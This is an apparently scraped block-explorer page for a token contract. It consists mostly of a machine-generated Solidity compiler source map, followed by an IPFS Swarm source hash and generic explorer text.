11875:7;;11919:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11909:4;11914:1;11909:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11909:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;11980:11:::1;::::0;11948:58:::1;::::0;11965:4:::1;::::0;11980:11:::1;11994::::0;11948:8:::1;:58::i;:::-;12017:11;::::0;:192:::1;::::0;-1:-1:-1;;;12017:192:0;;-1:-1:-1;;;;;12017:11:0;;::::1;::::0;:62:::1;::::0;:192:::1;::::0;12094:11;;12017::::1;::::0;12136:4;;12163::::1;::::0;12183:15:::1;::::0;12017:192:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5243:6:0;:14;;-1:-1:-1;;;;5243:14:0;;;-1:-1:-1;;;;11746:471:0:o;11077:92::-;11134:10;;:27;;-1:-1:-1;;;;;11134:10:0;;;;:27;;;;;11154:6;;11134:10;:27;:10;:27;11154:6;11134:10;:27;;;;;;;;;;;;;;;;;;;3051:246;3109:7;3133:1;3138;3133:6;3129:47;;-1:-1:-1;3163:1:0;3156:8;;3129:47;3186:9;3198:5;3202:1;3198;:5;:::i;:::-;3186:17;-1:-1:-1;3231:1:0;3222:5;3226:1;3186:17;3222:5;:::i;:::-;:10;3214:56;;;;-1:-1:-1;;;3214:56:0;;13422:2:1;3214:56:0;;;13404:21:1;13461:2;13441:18;;;13434:30;13500:34;13480:18;;;13473:62;-1:-1:-1;;;13551:18:1;;;13544:31;13592:19;;3214:56:0;13220:397:1;3305:132:0;3363:7;3390:39;3394:1;3397;3390:39;;;;;;;;;;;;;;;;;:3;:39::i;2522:179::-;2580:7;;2612:5;2616:1;2612;:5;:::i;:::-;2600:17;;2641:1;2636;:6;;2628:46;;;;-1:-1:-1;;;2628:46:0;;13824:2:1;2628:46:0;;;13806:21:1;13863:2;13843:18;;;13836:30;13902:29;13882:18;;;13875:57;13949:18;;2628:46:0;13622:351:1;2709:136:0;2767:7;2794:43;2798:1;2801;2794:43;;;;;;;;;;;;;;;;;:3;:43::i;3445:189::-;3531:7;3566:12;3559:5;3551:28;;;;-1:-1:-1;;;3551:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3590:9:0;3602:5;3606:1;3602;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:247::-;2245:6;2298:2;2286:9;2277:7;2273:23;2269:32;2266:52;;;2314:1;2311;2304:12;2266:52;2353:9;2340:23;2372:31;2397:5;2372:31;:::i;2438:127::-;2499:10;2494:3;2490:20;2487:1;2480:31;2530:4;2527:1;2520:15;2554:4;2551:1;2544:15;2570:1121;2654:6;2685:2;2728;2716:9;2707:7;2703:23;2699:32;2696:52;;;2744:1;2741;2734:12;2696:52;2784:9;2771:23;2813:18;2854:2;2846:6;2843:14;2840:34;;;2870:1;2867;2860:12;2840:34;2908:6;2897:9;2893:22;2883:32;;2953:7;2946:4;2942:2;2938:13;2934:27;2924:55;;2975:1;2972;2965:12;2924:55;3011:2;2998:16;3033:2;3029;3026:10;3023:36;;;3039:18;;:::i;:::-;3085:2;3082:1;3078:10;3117:2;3111:9;3180:2;3176:7;3171:2;3167;3163:11;3159:25;3151:6;3147:38;3235:6;3223:10;3220:22;3215:2;3203:10;3200:18;3197:46;3194:72;;;3246:18;;:::i;:::-;3282:2;3275:22;3332:18;;;3366:15;;;;-1:-1:-1;3408:11:1;;;3404:20;;;3436:19;;;3433:39;;;3468:1;3465;3458:12;3433:39;3492:11;;;;3512:148;3528:6;3523:3;3520:15;3512:148;;;3594:23;3613:3;3594:23;:::i;:::-;3582:36;;3545:12;;;;3638;;;;3512:148;;;3679:6;2570:1121;-1:-1:-1;;;;;;;;2570:1121:1:o;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:127::-;4358:10;4353:3;4349:20;4346:1;4339:31;4389:4;4386:1;4379:15;4413:4;4410:1;4403:15;4429:416;4518:1;4555:5;4518:1;4569:270;4590:7;4580:8;4577:21;4569:270;;;4649:4;4645:1;4641:6;4637:17;4631:4;4628:27;4625:53;;;4658:18;;:::i;:::-;4708:7;4698:8;4694:22;4691:55;;;4728:16;;;;4691:55;4807:22;;;;4767:15;;;;4569:270;;;4573:3;4429:416;;;;;:::o;4850:806::-;4899:5;4929:8;4919:80;;-1:-1:-1;4970:1:1;4984:5;;4919:80;5018:4;5008:76;;-1:-1:-1;5055:1:1;5069:5;;5008:76;5100:4;5118:1;5113:59;;;;5186:1;5181:130;;;;5093:218;;5113:59;5143:1;5134:10;;5157:5;;;5181:130;5218:3;5208:8;5205:17;5202:43;;;5225:18;;:::i;:::-;-1:-1:-1;;5281:1:1;5267:16;;5296:5;;5093:218;;5395:2;5385:8;5382:16;5376:3;5370:4;5367:13;5363:36;5357:2;5347:8;5344:16;5339:2;5333:4;5330:12;5326:35;5323:77;5320:159;;;-1:-1:-1;5432:19:1;;;5464:5;;5320:159;5511:34;5536:8;5530:4;5511:34;:::i;:::-;5581:6;5577:1;5573:6;5569:19;5560:7;5557:32;5554:58;;;5592:18;;:::i;:::-;5630:20;;4850:806;-1:-1:-1;;;4850:806:1:o;5661:140::-;5719:5;5748:47;5789:4;5779:8;5775:19;5769:4;5748:47;:::i;5806:168::-;5879:9;;;5910;;5927:15;;;5921:22;;5907:37;5897:71;;5948:18;;:::i;5979:356::-;6181:2;6163:21;;;6200:18;;;6193:30;6259:34;6254:2;6239:18;;6232:62;6326:2;6311:18;;5979:356::o;6340:127::-;6401:10;6396:3;6392:20;6389:1;6382:31;6432:4;6429:1;6422:15;6456:4;6453:1;6446:15;6472:251;6542:6;6595:2;6583:9;6574:7;6570:23;6566:32;6563:52;;;6611:1;6608;6601:12;6563:52;6643:9;6637:16;6662:31;6687:5;6662:31;:::i;8001:306::-;8089:6;8097;8105;8158:2;8146:9;8137:7;8133:23;8129:32;8126:52;;;8174:1;8171;8164:12;8126:52;8203:9;8197:16;8187:26;;8253:2;8242:9;8238:18;8232:25;8222:35;;8297:2;8286:9;8282:18;8276:25;8266:35;;8001:306;;;;;:::o;8591:277::-;8658:6;8711:2;8699:9;8690:7;8686:23;8682:32;8679:52;;;8727:1;8724;8717:12;8679:52;8759:9;8753:16;8812:5;8805:13;8798:21;8791:5;8788:32;8778:60;;8834:1;8831;8824:12;10901:128;10968:9;;;10989:11;;;10986:37;;;11003:18;;:::i;11034:125::-;11099:9;;;11120:10;;;11117:36;;;11133:18;;:::i;11873:135::-;11912:3;11933:17;;;11930:43;;11953:18;;:::i;:::-;-1:-1:-1;12000:1:1;11989:13;;11873:135::o;12013:980::-;12275:4;12323:3;12312:9;12308:19;12354:6;12343:9;12336:25;12380:2;12418:6;12413:2;12402:9;12398:18;12391:34;12461:3;12456:2;12445:9;12441:18;12434:31;12485:6;12520;12514:13;12551:6;12543;12536:22;12589:3;12578:9;12574:19;12567:26;;12628:2;12620:6;12616:15;12602:29;;12649:1;12659:195;12673:6;12670:1;12667:13;12659:195;;;12738:13;;-1:-1:-1;;;;;12734:39:1;12722:52;;12829:15;;;;12794:12;;;;12770:1;12688:9;12659:195;;;-1:-1:-1;;;;;;;12910:32:1;;;;12905:2;12890:18;;12883:60;-1:-1:-1;;;12974:3:1;12959:19;12952:35;12871:3;12013:980;-1:-1:-1;;;12013:980:1:o;12998:217::-;13038:1;13064;13054:132;;13108:10;13103:3;13099:20;13096:1;13089:31;13143:4;13140:1;13133:15;13171:4;13168:1;13161:15;13054:132;-1:-1:-1;13200:9:1;;12998:217::o

Swarm Source

ipfs://f6510b6b55b82585e3c29f94bc6929448735b1a4845c2480090ebcffda6656e7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.